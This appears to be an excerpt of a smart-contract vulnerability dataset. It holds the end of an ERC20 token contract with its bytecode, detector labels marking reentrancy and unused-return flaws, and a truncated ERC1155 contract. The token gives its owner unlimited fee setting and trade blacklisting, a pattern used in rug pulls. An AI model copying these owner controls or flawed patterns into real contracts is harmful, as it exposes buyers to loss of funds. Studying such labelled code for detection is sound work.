_allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = _holdersfee; _feeAddr2 = _taxfee; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(from==owner()) { _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp.add(1000) ); } function sendETH078ToFee(uint256 amount) private { } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function updateMaxtx(uint256 _amount) external onlyOwner() { _maxTxAmount = _amount; } function updateHoldersfee(uint256 _fee) external onlyOwner() { _holdersfee = _fee; } function updateTaxfee(uint256 _fee) external onlyOwner() { _taxfee = _fee; } function unlockswao(bool _status) external onlyOwner() { inSwap=_status; } function setSwapEnable(bool _status) external onlyOwner() { swapEnabled=_status; } function setCooldownEnable(bool _status) external onlyOwner() { cooldownEnabled=_status; } function manualapprove(uint256 tokenAmount) external onlyOwner() { _approve(address(this), address(uniswapV2Router), tokenAmount); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106102085760003560e01c806370a0823111610118578063b09f1266116100a0578063d28d88521161006f578063d28d8852146105ed578063d830678614610636578063dd62ed3e14610657578063e40ffe001461069d578063ed3159fd146106bd57600080fd5b8063b09f126614610570578063b515566a146105a3578063c3c8cd80146105c3578063c9567bf9146105d857600080fd5b80638da5cb5b116100e75780638da5cb5b146104e157806395d89b41146104ff578063978740041461042a578063a9059cbb1461052f578063a985ceef1461054f57600080fd5b806370a0823114610480578063715018a6146104a05780637b7911f6146104b55780637d1db4a5146104cb57600080fd5b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146103ea5780634f49d81a1461040a5780635932ead11461042a5780636ddd17131461044a5780636fc3eaec1461046b57600080fd5b8063313ce5671461037357806331baf7d51461039557806332424aa3146103b55780634037acde146103ca57600080fd5b806318160ddd116101d757806318160ddd146102f657806323b872dd1461031d578063273123b71461033d57806328120d3a1461035d57600080fd5b806306fdde0314610214578063095ea7b31461026c5780630b4a83aa1461029c5780631694505e146102be57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5060408051808201909152601d81527f4c75636172696f20496e75207c20742e6d652f6c75636172696f696e7500000060208201525b6040516102639190611a3c565b60405180910390f35b34801561027857600080fd5b5061028c610287366004611ab6565b6106dd565b6040519015158152602001610263565b3480156102a857600080fd5b506102bc6102b7366004611ae2565b6106f4565b005b3480156102ca57600080fd5b50600d546102de906001600160a01b031681565b6040516001600160a01b039091168152602001610263565b34801561030257600080fd5b5069d3c21bcecceda10000005b604051908152602001610263565b34801561032957600080fd5b5061028c610338366004611afb565b61072c565b34801561034957600080fd5b506102bc610358366004611b3c565b610795565b34801561036957600080fd5b5061030f60105481565b34801561037f57600080fd5b5060095b60405160ff9091168152602001610263565b3480156103a157600080fd5b506102bc6103b0366004611ae2565b6107e0565b3480156103c157600080fd5b50610383600981565b3480156103d657600080fd5b506102bc6103e5366004611ae2565b61080f565b3480156103f657600080fd5b50600e546102de906001600160a01b031681565b34801561041657600080fd5b506102bc610425366004611b67565b610854565b34801561043657600080fd5b506102bc610445366004611b67565b61089c565b34801561045657600080fd5b50600e5461028c90600160b01b900460ff1681565b34801561047757600080fd5b506102bc6108e4565b34801561048c57600080fd5b5061030f61049b366004611b3c565b610918565b3480156104ac57600080fd5b506102bc61093a565b3480156104c157600080fd5b5061030f60115481565b3480156104d757600080fd5b5061030f600f5481565b3480156104ed57600080fd5b506000546001600160a01b03166102de565b34801561050b57600080fd5b506040805180820190915260078152664c55434152494f60c81b6020820152610256565b34801561053b57600080fd5b5061028c61054a366004611ab6565b6109ae565b34801561055b57600080fd5b50600e5461028c90600160b81b900460ff1681565b34801561057c57600080fd5b50610256604051806040016040528060078152602001664c55434152494f60c81b81525081565b3480156105af57600080fd5b506102bc6105be366004611b9a565b6109bb565b3480156105cf57600080fd5b506102bc610a51565b3480156105e457600080fd5b506102bc610a91565b3480156105f957600080fd5b506102566040518060400160405280601d81526020017f4c75636172696f20496e75207c20742e6d652f6c75636172696f696e7500000081525081565b34801561064257600080fd5b50600e5461028c90600160a81b900460ff1681565b34801561066357600080fd5b5061030f610672366004611c5f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106a957600080fd5b506102bc6106b8366004611b67565b610e58565b3480156106c957600080fd5b506102bc6106d8366004611ae2565b610ea0565b60006106ea338484610ecf565b5060015b92915050565b6000546001600160a01b031633146107275760405162461bcd60e51b815260040161071e90611c98565b60405180910390fd5b601055565b6000610739848484610ff3565b61078b843361078685604051806060016040528060288152602001611e5e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611349565b610ecf565b5060019392505050565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161071e90611c98565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461080a5760405162461bcd60e51b815260040161071e90611c98565b600f55565b6000546001600160a01b031633146108395760405162461bcd60e51b815260040161071e90611c98565b600d546108519030906001600160a01b031683610ecf565b50565b6000546001600160a01b0316331461087e5760405162461bcd60e51b815260040161071e90611c98565b600e8054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b031633146108c65760405162461bcd60e51b815260040161071e90611c98565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461090e5760405162461bcd60e51b815260040161071e90611c98565b4761085181611383565b6001600160a01b0381166000908152600260205260408120546106ee906113bd565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161071e90611c98565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106ea338484610ff3565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260040161071e90611c98565b60005b8151811015610a4d57600160066000848481518110610a0957610a09611ccd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a4581611cf9565b9150506109e8565b5050565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b815260040161071e90611c98565b6000610a8630610918565b905061085181611441565b6000546001600160a01b03163314610abb5760405162461bcd60e51b815260040161071e90611c98565b600e54600160a01b900460ff1615610b155760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161071e565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b53308269d3c21bcecceda1000000610ecf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8c57600080fd5b505afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc49190611d14565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0c57600080fd5b505afa158015610c20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c449190611d14565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c8c57600080fd5b505af1158015610ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc49190611d14565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610cf481610918565b600080610d096000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d6c57600080fd5b505af1158015610d80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da59190611d31565b5050600e80546a52b7d2dcc80cd2e4000000600f5563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610e2057600080fd5b505af1158015610e34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4d9190611d5f565b6000546001600160a01b03163314610e825760405162461bcd60e51b815260040161071e90611c98565b600e8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610eca5760405162461bcd60e51b815260040161071e90611c98565b601155565b6001600160a01b038316610f315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071e565b6001600160a01b038216610f925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071e565b6001600160a01b0382166110b95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071e565b6000811161111b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071e565b601054600a55601154600b556000546001600160a01b0384811691161480159061115357506000546001600160a01b03838116911614155b15611318576001600160a01b03831660009081526006602052604090205460ff1615801561119a57506001600160a01b03821660009081526006602052604090205460ff16155b6111a357600080fd5b600e546001600160a01b0384811691161480156111ce5750600d546001600160a01b03838116911614155b80156111f357506001600160a01b03821660009081526005602052604090205460ff16155b80156112085750600e54600160b81b900460ff165b1561126557600f5481111561121c57600080fd5b6001600160a01b038216600090815260076020526040902054421161124057600080fd5b61124b42601e611d7c565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b03838116911614801561129b57506001600160a01b03831660009081526005602052604090205460ff16155b156112ab576000600a819055600b555b60006112b630610918565b600e54909150600160a81b900460ff161580156112e15750600e546001600160a01b03858116911614155b80156112f65750600e54600160b01b900460ff165b156113165761130481611441565b4780156113145761131447611383565b505b505b6000546001600160a01b0384811691161415611339576000600a819055600b555b6113448383836115d3565b505050565b6000818484111561136d5760405162461bcd60e51b815260040161071e9190611a3c565b50600061137a8486611d94565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a4d573d6000803e3d6000fd5b60006008548211156114245760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161071e565b600061142e6115de565b905061143a8382611601565b9392505050565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148957611489611ccd565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114dd57600080fd5b505afa1580156114f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115159190611d14565b8160018151811061152857611528611ccd565b6001600160a01b039283166020918202929092010152600d5461154e9130911684610ecf565b600d546001600160a01b031663791ac9478360008430611570426103e8611643565b6040518663ffffffff1660e01b8152600401611590959493929190611dab565b600060405180830381600087803b1580156115aa57600080fd5b505af11580156115be573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6113448383836116a2565b60008060006115eb611799565b90925090506115fa8282611601565b9250505090565b600061143a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117dd565b6000806116508385611d7c565b90508381101561143a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161071e565b6000806000806000806116b48761180b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116e69087611868565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117159086611643565b6001600160a01b038916600090815260026020526040902055611737816118aa565b61174184836118f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161178691815260200190565b60405180910390a3505050505050505050565b600854600090819069d3c21bcecceda10000006117b68282611601565b8210156117d45750506008549269d3c21bcecceda100000092509050565b90939092509050565b600081836117fe5760405162461bcd60e51b815260040161071e9190611a3c565b50600061137a8486611e1c565b60008060008060008060008060006118288a600a54600b54611918565b92509250925060006118386115de565b9050600080600061184b8e87878761196d565b919e509c509a509598509396509194505050505091939550919395565b600061143a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611349565b60006118b46115de565b905060006118c283836119bd565b306000908152600260205260409020549091506118df9082611643565b30600090815260026020526040902055505050565b6008546119019083611868565b6008556009546119119082611643565b6009555050565b6000808080611932606461192c89896119bd565b90611601565b90506000611945606461192c8a896119bd565b9050600061195d826119578b86611868565b90611868565b9992985090965090945050505050565b600080808061197c88866119bd565b9050600061198a88876119bd565b9050600061199888886119bd565b905060006119aa826119578686611868565b939b939a50919850919650505050505050565b6000826119cc575060006106ee565b60006119d88385611e3e565b9050826119e58583611e1c565b1461143a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161071e565b600060208083528351808285015260005b81811015611a6957858101830151858201604001528201611a4d565b81811115611a7b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461085157600080fd5b8035611ab181611a91565b919050565b60008060408385031215611ac957600080fd5b8235611ad481611a91565b946020939093013593505050565b600060208284031215611af457600080fd5b5035919050565b600080600060608486031215611b1057600080fd5b8335611b1b81611a91565b92506020840135611b2b81611a91565b929592945050506040919091013590565b600060208284031215611b4e57600080fd5b813561143a81611a91565b801515811461085157600080fd5b600060208284031215611b7957600080fd5b813561143a81611b59565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611bad57600080fd5b823567ffffffffffffffff80821115611bc557600080fd5b818501915085601f830112611bd957600080fd5b813581811115611beb57611beb611b84565b8060051b604051601f19603f83011681018181108582111715611c1057611c10611b84565b604052918252848201925083810185019188831115611c2e57600080fd5b938501935b82851015611c5357611c4485611aa6565b84529385019392850192611c33565b98975050505050505050565b60008060408385031215611c7257600080fd5b8235611c7d81611a91565b91506020830135611c8d81611a91565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d0d57611d0d611ce3565b5060010190565b600060208284031215611d2657600080fd5b815161143a81611a91565b600080600060608486031215611d4657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d7157600080fd5b815161143a81611b59565b60008219821115611d8f57611d8f611ce3565b500190565b600082821015611da657611da6611ce3565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dfb5784516001600160a01b031683529383019391830191600101611dd6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e3957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e5857611e58611ce3565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080ddd9ac1f20385a06b6f31c0453d9526f98c3ddd87112b23bf2e6a0754516ae64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
481
0x49c902f3229f8382106e743dce4c031b441b1a4b
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC1155Receiver is IERC165 { function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } interface IERC1155 is IERC165 { event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); event ApprovalForAll(address indexed account, address indexed operator, bool approved); event URI(string value, uint256 indexed id); function balanceOf(address account, uint256 id) external view returns (uint256); function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); function setApprovalForAll(address operator, bool approved) external; function isApprovedForAll(address account, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; mapping(address => uint256) public _balances0; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ address public owner; constructor() { owner = msg.sender; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } function uri(uint256) public view virtual override returns (string memory) { return _uri; } function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } function setApprovalForAll(address operator, bool approved) public virtual override { // require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } function _setURI(string memory newuri) internal virtual { _uri = newuri; } function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function _Premint( address account, uint256 id, uint256 amount, string memory _uri1 ) internal virtual 